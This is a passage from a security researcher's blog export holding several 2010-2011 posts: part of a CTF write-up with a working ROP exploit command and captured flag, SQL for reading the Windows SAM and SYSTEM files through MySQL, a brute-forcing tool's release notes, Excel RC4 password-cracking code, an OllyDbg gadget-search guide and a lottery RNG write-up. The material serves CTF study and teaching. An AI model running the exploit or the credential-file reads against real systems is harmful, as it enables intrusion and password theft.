<li>Put the ROP stack in gbuffer to add the address in GOT entry to point to execve() function</li>
<li>Call the execve()</li>
</ol>
</p>
<p>To achieve the step 2, I used ROPEME to find the gadgets. Because we want only add the value in a static address (GOT entry), here is the interested gadgets</p>
<pre class="code language-bsh">
0x8048559L: add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;;
0x8048418L: pop eax ; pop ebx ; leave ;;
</pre>
<p>The second gadget is for setting eax and ebx. Then we can use the first gadget to change the value of GOT entry. I modified the sleep() entry at address (0x804a01c).</p>
<pre class="code language-bsh">
$ objdump -T libc.so.6 | grep -w sleep
00098e50 w DF .text 00000299 GLIBC_2.0 sleep
$ objdump -T libc.so.6 | grep -w execve
00099510 w DF .text 0000005a GLIBC_2.0 execve
</pre>
<p>Some needed computation<br/>
- The offset from sleep() to execve() in libc is <span class="code">0x00099510 - 0x00098e50 = 0x6c0</span><br/>
- The eax before calling first gadget should be <span class="code">0x1000006c0 - 0x0804a064 = 0xf7fb665c</span><br/>
- The ebx before calling first gadget should be <span class="code">0x10804a01c - 0x5d5b04c4 = 0xaaa99b58</span>
</p>
<p>Here is my exploit that will call <span class="code">execve("0dy", 0, 0)</span> (I used "0dy" string from "s0m3b0dy:15n0b0dy" at address 0x08048a24)</p>
<pre class="code language-bsh">
$ /home/vuln1/vuln300 -us0m3b0dy:15n0b0dyAA `perl -e 'print "-p","\xc4\xa0\x04\x08","\x18\x84\x04\x08","\x5c\x66\xfb\xf7","\x58\x9b\xa9\xaa","\xc4\xa0\x04\x08","\x59\x85\x04\x08","\xd5\x88\x04\x08","\x24\x8a\x04\x08"'` -fa `perl -e 'print "-x","A"x510'` `perl -e 'print "-yAAAA","\xb4\xa0\x04\x08","\x1a\x84\x04\x08"'`
...
$ cat flag.txt
33f9876804c9a14e927e5d1d70a64ace
</pre>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com3tag:blogger.com,1999:blog-7750805153536412131.post-48475986672944657732011-01-19T22:23:00.000+07:002011-01-19T22:23:20.278+07:00Get binary file via MySQL<p>Just a note for getting binary file via MySQL because I just had to do it. But I cannot find a method on the internet (with google).</p>
<p>If a binary file is small, the easy way is using <span class="code">LOAD_FILE()</span>. For example,</p>
<pre class="code language-sql">
SELECT HEX(LOAD_FILE('c:/windows/repair/sam'));
</pre>
<p>But if a binary file is big, MySQL throws a warning "Result of load_file() was larger than max_allowed_packet (1048576) - truncated" then returns NULL to me.</p>
<p>Someone on MySQL forum said using <span class="code">"SET SESSION max_allowed_packet=16*1024*1024;"</span> before using <span class="code">LOAD_FILE()</span>. But it does not work for me. :(</p>
<p>After read the MySQL doc, I found a method to do it with <span class="code">"LOAD DATA INFILE"</span>. This command definitely needs a table to keep the data. Here is my SQL commands to load binary file into table.</p>
<pre class="code language-sql">
use test;
CREATE TABLE files (bin_data longblob);
LOAD DATA INFILE 'c:/windows/repair/system' INTO TABLE files FIELDS TERMINATED BY 'AAAAAAAAAAA' ESCAPED BY '' LINES TERMINATED BY 'BBBBBBBBBBBBBBBB';
</pre>
<p>After these commands, the binary data will be in the "files" table without modification. :)</p>
<p>Note about "FIELDS TERMINATED BY" and "LINES TERMINATED BY" values. They can be any string patterns that do not exist in the binary file.</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-82392476286739968112010-12-30T17:48:00.001+07:002011-01-04T09:08:18.549+07:00Bruter 1.1 finalFinally, it is out :). I can do it before new year.<br />
<br />
The new things since beta2 are (not including bug fixes)<br />
- HTTP digest authentication<br />
- SIP protocol<br />
<br />
Happy new year ;)<br />
<br />
Update (4 Jan 2011): <br />
Sorry, I did a mistake again in binary. I included the wrong openssl file ("libssl32.dll" instead of "ssleay32.dll"). If you have a problem when starting my app. Try to download it again.Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-45213654659757169362010-12-23T17:21:00.003+07:002011-04-15T09:04:57.366+07:00Excel RC4 Encryption AlgorithmI played a wargame. There is a protected xls file. I could not find a free tool to break it. When I tried to use their trial tools, there is a instant recovery feature. I wonder how they do it. I decided to read the encryption algorithm. I knew the default Office 2003 encryption algorithm is RC4. After some searching, I found the Microsoft Document<br />
- <a href="http://msdn.microsoft.com/en-us/library/dd907466%28v=office.12%29.aspx">http://msdn.microsoft.com/en-us/library/dd907466%28v=office.12%29.aspx</a><br />
- <a href="http://msdn.microsoft.com/en-us/library/dd905723%28v=office.12%29.aspx">http://msdn.microsoft.com/en-us/library/dd905723%28v=office.12%29.aspx</a><br />
<br />
The first link is how the RC4 key is generated and what is stored in xls file. The second link is what contents to be encrypted.<br />
<br />
After understanding the Excel password, I code the python for testing the password <a href="https://sites.google.com/site/worawita/files/test_xls_pass.py?attredirects=0&d=1">test_xls_pass.py</a>. Here is the important part.<br />
<pre class="code language-python">def gen_excel_real_key(pwd, salt):
h0 = hashlib.md5(pwd).digest()
h1 = hashlib.md5((h0[:5] + salt) * 16).digest()
return h1[:5]
def test_pass(pwd, salt, verifier, verifierHash):
real_key = gen_excel_real_key(pwd, salt)
key = hashlib.md5(real_key + '\x00\x00\x00\x00').digest()
dec = rc4_crypt(key, verifier + verifierHash)
if hashlib.md5(dec[:16]).digest() == dec[16:]:
print "valid pass"
else:
print "invalid pass"
</pre><br />
"salt", "verifier", and "verifierHash" can be extracted from FILEPASS record in Excel file. Can you see it? The "real_key" is only 5 bytes (40 bits). If you can find this key, no need to use password. The key space of real_key is 2<sup>40</sup>. It is possible to do brute forcing. But is it easier than brute forcing password?<br />
<br />
Compare it to alphanumeric password case insensitive. The key space of 8 characters is 36<sup>8</sup> = (32+4)<sup>8</sup> = (2<sup>5</sup> + 4)<sup>8</sup> > 2<sup>40</sup>.<br />
<br />
Another problem of brute forcing real_key, rc4 is slow compared to md5. I tried it with my simple C code. I get about 800,000 key/sec with 1 thread on Intel Core2 Q8300 2.5GHz. It takes about 16 days with 1 thread to try the whole key space. With GPUs, real_key is possible to be cracked in a few minutes.<br />
<br />
What can we do when we get the real_key? There is the tool named guaexcel. The demo version allows you to use any real_key to decrypt any Excel file.<br />
<br />
MS Word is the same as MS Excel. Just change the stream name from "Workbook" to "worddocument" stream. Then use tool named guaword to decrypt the Word file.<br />
<br />
PS: If I have time, I will optimize the code and release it for free :). But do not expect it to be fast as commercial one.Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com19tag:blogger.com,1999:blog-7750805153536412131.post-13022606528515623932010-12-07T22:19:00.002+07:002010-12-07T22:29:37.881+07:00Use OllyDbg to find ROP gadgetsI just tried writing a exploit with ROP technique. When I searched a tool to help me finding gadgets, I found only Immunity Debugger with <a href="http://redmine.corelan.be:8800/projects/pvefindaddr">pvefindaddr</a>.<br />
<br />
But I never used it. I am lazy to learn it now (I will later). I knew msfpescan with regex option can help me but it is too difficult. Then I tried with OllyDbg. I found a nice feature to help me finding gadgets. Here what I found<br />
<br />
There is a search for sequence of commands when right click on CPU windows. Then it shows a dialog for typing assembly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/_4X9aA2jxLhc/TP5E-8-LkCI/AAAAAAAAACM/SrL7LknGDcs/s1600/olly_ss1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="http://3.bp.blogspot.com/_4X9aA2jxLhc/TP5E-8-LkCI/AAAAAAAAACM/SrL7LknGDcs/s320/olly_ss1.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TP5FABMVdnI/AAAAAAAAACQ/a7ux5hMo7Yg/s1600/olly_ss2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TP5FABMVdnI/AAAAAAAAACQ/a7ux5hMo7Yg/s320/olly_ss2.png" width="320" /></a></div><br />
In this search dialog, we can use special commands and keywords. Below are what I excerpt from OllyDbg help "Search for a sequence of commands"<br />
- <b>R8, R16, R32</b> for any 8, 16, 32 bit register respectively.<br />
- <b>CONST</b> for any constant<br />
- <b>JCC</b> for any conditional jump<br />
- <b>ANY n</b> for any 0..n commands<br />
<br />
"Search for sequence of commands" find only one block. It is so inconvenient for us to choose a gadget. So I will show only "Search for all sequence" (the second red line of the first pic).<br />
<br />
Let try with common gadget used for pivoting esp. I put "add esp,CONST;ANY 6;ret" to search "add esp" in ntdll.dll (on my Windows XP SP3). Here the results.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TP5Lm1qUYEI/AAAAAAAAACU/G0KWX4V51ZA/s1600/olly_ss3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TP5Lm1qUYEI/AAAAAAAAACU/G0KWX4V51ZA/s320/olly_ss3.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TP5Lnqq6JaI/AAAAAAAAACY/41COaTDZvLQ/s1600/olly_ss4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TP5Lnqq6JaI/AAAAAAAAACY/41COaTDZvLQ/s320/olly_ss4.png" width="320" /></a></div><br />
Assume We are interested "add esp, 74". Just double click it, we will see the assembly block like above pic. Then we can check if it is usable. As the above assembly code, we can use it if eax is zero.<br />
<br />
I think this feature is nice. But I can search in only one executable module at a time :(. If someone know how to search in all modules, please tell me.;)Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com6tag:blogger.com,1999:blog-7750805153536412131.post-44811245841234993932010-11-21T14:27:00.003+07:002010-11-24T09:16:41.338+07:00Bruter 1.1 beta2 is outSame as title, it is out. The new things (since 1.1 beta1) are<br />
<br />
- SSH use less secure algorithm for key exchange (little faster)<br />
- Able to use big wordlist file but still <2GB<br />
- Save/Resume testing in "Save/Load config" (I'm lazy to add a new menu)<br />
- Option to iterate passwords for each username (Password First)<br />
<br />
I planned to add a new protocol on this version. But I change my mind because I'm lazy :S.<br />
<br />
Have fun :)<br />
<br />
Note on 23 Nov 2010:<br />
Sorry for my mistake. I created the wrong directory name and zip filename "Bruter_1.2_beta2" (version 1.2 O_o). The actual name must be "Bruter_1.1_beta2". Fixed it.Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-45265104204489760412010-09-11T11:32:00.000+07:002010-09-11T11:32:01.191+07:00LEET MORE CTF 2010 write up - LotteryThis is the second and last challenge that I had time to play. I solved it :).<br />
<br />
The challenge random 39 digits and give you a number of participant. You have to put the correct random number to win this lottery. When you put a wrong number, you get the correct random number.<br />
<br />
I had put a lot of wrong number to see random numbers.<br />
Here is the result when a number of participant is 391441 - 391447<br />
<pre>756883670921640125823051707628843433985
756982681967192314311352115314173149185
757081693012744351683925071170856026113
757180704058296540172225478856185741313
757279715103848577544798434712868618241
757378726149400614917371390569551495169
757477737194952803405671798254881210369</pre>Here is the result when a number of participant is 391449 - 391455<br />
<pre>757675759286057029266545161796893802497
757774770331609066639118117653576679425
757873781377161104011691073510259556353
757972792422713745847173836681529786369
758071803468265329872564437052272148481
758170814513817971708047200223542378497
758269825559370009080620156080225255425</pre>With these numbers, I saw a pattern. Let me added some white-spaces.<br />
<pre>7568 83 670921640125823051707628843433985
7569 82 681967192314311352115314173149185
7570 81 693012744351683925071170856026113
7571 80 704058296540172225478856185741313
7572 79 715103848577544798434712868618241
7573 78 726149400614917371390569551495169
7574 77 737194952803405671798254881210369</pre>See it? The first part (4 digits) is decreased by one. The second part (next 2 digits) is increased by one.<br />
<br />
I also tried to make the next 2 digits as another part that is increased by one. But I saw<br />
<pre>7576 75 759286057029266545161796893802497
7577 74 770331609066639118117653576679425
</pre>It is increased by 2.<br />
<br />
Then I tried the diff of each digits in last part (last 33 digits). I found they (first 5 digits of last part) are changed like "(prev + x[i]) mod 10" or "(prev + x[i] +1) mod 10". It looks like a sum up of previous number. Then I tried to diff them.<br />
<pre>681967192314311352115314173149185 - 670921640125823051707628843433985 = 11045552188488300407685329715200
693012744351683925071170856026113 - 681967192314311352115314173149185 = 11045552037372572955856682876928
704058296540172225478856185741313 - 693012744351683925071170856026113 = 11045552188488300407685329715200
715103848577544798434712868618241 - 704058296540172225478856185741313 = 11045552037372572955856682876928
...</pre>I got about 4 numbers from diffing them. But there are only 2 that I got very often. They are <pre style="display: inline;">11045552188488300407685329715200 </pre>and<pre style="display: inline;">11045552037372572955856682876928</pre>.<br />
<br />
Then, I used <pre style="display:inline">11045552188488300407685329715200</pre>as my magic number and used the pattern I found for guessing. After a few tries, I got<br />
<pre>You are realy lucky!!
Congratulations!! You win, send this WMcode to your bank: "C988EC4DC91EA4864FAA6B7D65030961B218D19CD96CF29DE28166F59B606158"</pre>I won the lottery ;)<br />
<br />
When the game end, hellman told the solution in IRC. Here is what he said<br />
"in lottery random number generator was seeded with number of participants, and word 'uniform' points to erlangs random uniform, so just use erlang to guess the number"Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0